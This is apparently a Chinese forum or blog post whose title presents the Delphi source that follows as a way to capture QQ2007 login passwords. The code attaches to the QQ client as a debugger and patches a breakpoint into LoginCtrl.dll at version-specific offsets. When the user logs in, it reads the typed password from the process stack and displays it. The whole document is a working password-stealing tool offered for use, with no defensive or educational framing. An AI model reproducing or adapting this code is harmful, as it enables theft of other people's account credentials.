一段能截取QQ2007密码的DELPHI代码

 unit Unit1;

interface

uses
  Windows, Classes, Controls, Forms, StdCtrls, ExtCtrls, ComCtrls, PsAPI, StrUtils, SysUtils, Messages;

type
  TForm1 = class(TForm)
    btn1: TButton;
    Label1: TLabel;
    procedure btn1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  ProcessID: DWORD;

const
  Code: DWORD = $CC;
  JCode: DWORD =$8D;

implementation

{$R *.dfm}

function HexToInt(HexStr: string): Int64;
var
  RetVar: Int64;
  i: Byte;
begin
  HexStr := UpperCase(HexStr);
  if HexStr[Length(HexStr)] = 'H' then
    Delete(HexStr, Length(HexStr), 1);
  RetVar := 0;
  for i := 1 to Length(HexStr) do
  begin
    RetVar := RetVar shl 4;
    if HexStr[i] in ['0'..'9'] then
      RetVar := RetVar + (Byte(HexStr[i]) - 48)
    else
    if HexStr[i] in ['A'..'F'] then
      RetVar := RetVar + (Byte(HexStr[i]) - 55)
    else begin
      Retvar := 0;
      Break;
    end;
  end;
  Result := RetVar;
end;

function GetMem(nOK: THANDLE; Addr: DWORD; Len: Integer = 0): string;
const FindCount = 100;
var
  Buf1: array[0..FindCount] of PChar;
  OK: BOOL;
  nSize: DWORD;
  lpNumberOfBytesRead: Cardinal;
  Res, Tmp: string;
  S: array[0..FindCount] of string;
  i: Integer;
begin
  if Len <> 0 then
  begin
    nSize := Len;
    Buf1[0] := AllocMem(nSize);
    OK := ReadProcessMemory(nOK, Pointer(Addr), Buf1[0], nSize, lpNumberOfBytesRead);
    if(OK or (nSize <> lpNumberOfBytesRead)) then
    begin
      S[0] := '';
      for i := 0 to nSize - 1 do
        S[0] := S[0] + Format('%.2X', [Ord(Buf1[0][i])]);
    end;
    FreeMem(Buf1[0], nSize);
    Tmp := S[0];
    i := 1;
    Res := '';

    while i < Length(Tmp) do
    begin
      Res := Res + Chr(HexToInt(Copy(Tmp, i, 2)));
      Inc(i, 2);
    end;
    Result := Res;
    Exit;
  end;
end;

procedure NewProcess;
var
  I: Integer;
  Count: DWORD;
  ModHandles: array[0..$3FFF - 1] of DWORD;
  ModInfo: TModuleInfo;
  ModName: array[0..MAX_PATH] of Char;
  Num: Cardinal;
  Rc, OK: Boolean;
  DebugD: DEBUG_EVENT;
  Context: _CONTEXT;
  Base: Pointer;
  ProcHand: THandle;
  ThreadHandle: THandle;
  EAX: string;
begin
  ProcHand := OpenProcess(PROCESS_ALL_ACCESS, False, ProcessID);
  if ProcHand <> 0 then
  try
    EnumProcessModules(ProcHand, @ModHandles, SizeOf(ModHandles), Count);
    for I := 0 to (Count div SizeOf(DWORD)) - 1 do
      if (GetModuleFileNameEx(ProcHand, ModHandles[I], ModName, SizeOf(ModName)) > 0) and
        GetModuleInformation(ProcHand, ModHandles[I], @ModInfo, SizeOf(ModInfo)) and
        (RightStr(UpperCase(ModName), 13) = 'LOGINCTRL.DLL') then
      begin
        if DWORD(ModInfo.EntryPoint) - DWORD(ModInfo.lpBaseOfDll) = $23C33 then //新加的针对QQ2008版
          Base := Pointer(DWORD(ModInfo.lpBaseOfDll) + $16DE0);

        if DWORD(ModInfo.EntryPoint) - DWORD(ModInfo.lpBaseOfDll) = $22C3A then
          Base := Pointer(DWORD(ModInfo.lpBaseOfDll) + $15C90);

        if DWORD(ModInfo.EntryPoint) - DWORD(ModInfo.lpBaseOfDll) = $2043A then
          Base := Pointer(DWORD(ModInfo.lpBaseOfDll) + $148A3);

        OK := WriteProcessMemory(ProcHand, Base, @Code, 1, Num);
        if not OK then Exit;
        if not DebugActiveProcess(ProcessID) then Exit;
        Rc := True;
        while WaitForDebugEvent(DebugD, INFINITE) do
        begin
          case DebugD.dwDebugEventCode of
            EXIT_PROCESS_DEBUG_EVENT:
            begin
              Form1.Label1.Caption := '被调试进程中止';
              Break;
            end;

            CREATE_PROCESS_DEBUG_EVENT:
            begin
              ThreadHandle := DebugD.CreateProcessInfo.hThread;
              Form1.Label1.Caption := '请输入密码后点击登录';
            end;                                  

            EXCEPTION_DEBUG_EVENT:
            begin
              case DebugD.Exception.ExceptionRecord.ExceptionCode of
                EXCEPTION_BREAKPOINT:
                begin
                  if Base = DebugD.Exception.ExceptionRecord.ExceptionAddress then
                  begin
                    Context.ContextFlags := CONTEXT_FULL;
                    GetThreadContext(ThreadHandle, Context);
                    EAX := Trim(GetMem(ProcHand, Context.Esp + $24, 20));
                    Form1.Label1.Caption := 'QQ密码: ' + EAX;
                    Rc := WriteProcessMemory(ProcHand, Pointer(DWORD(Base)), @JCode, 1, Num);
                    Context.Eip := DWORD(Base);
                    SetThreadContext(ThreadHandle, Context);
                  end;
                end;
              end;
            end;
          end;
          if Rc then
            ContinueDebugEvent(DebugD.dwProcessId, DebugD.dwThreadId, DBG_CONTINUE)
          else
            ContinueDebugEvent(DebugD.dwProcessId, DebugD.dwThreadId, DBG_EXCEPTION_NOT_HANDLED);
        end;
        CloseHandle(ThreadHandle);
      end;
  finally
    CloseHandle(ProcHand);
  end;
end;

procedure TForm1.btn1Click(Sender: TObject);
var
  h: HWND;
  ThreadID: THandle;
begin
  h := FindWindow(nil, 'QQ用户登录');
  if h = 0 then
  begin
    Label1.Caption := '没有找到QQ登录框';
    Exit;
  end;

  GetWindowThreadProcessId(h, ProcessID);
  CreateThread(nil, 0, @NewProcess, nil, 0, ThreadID);
end;
end.

end.